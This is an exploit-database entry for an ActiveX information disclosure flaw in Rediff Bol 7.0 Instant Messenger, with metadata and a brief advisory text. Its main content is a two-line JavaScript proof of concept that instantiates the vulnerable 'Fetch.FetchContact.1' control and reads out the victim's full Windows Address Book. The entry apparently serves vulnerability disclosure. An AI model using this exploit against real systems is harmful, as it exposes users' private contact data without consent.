Exploit Rediff Bol 7.0 Instant Messenger - ActiveX Control Information Disclosure

[Exploiter]

EDB-ID

26221

Проверка EDB

1. Пройдено

Автор

GREGORY R. PANAKKAL

Тип уязвимости

REMOTE

Платформа

WINDOWS

CVE

N/A

Дата публикации

2005-09-05

source: https://www.securityfocus.com/bid/14740/info

Rediff Bol Instant Messenger is prone to an information disclosure vulnerability. A malicious ActiveX control could allow an attacker to obtain the contents of a vulnerable user's Windows Address Book. 

[script]
var Obj = new ActiveXObject("Fetch.FetchContact.1");
alert(Obj.FullAddressBook(0,"","",""));
[/script]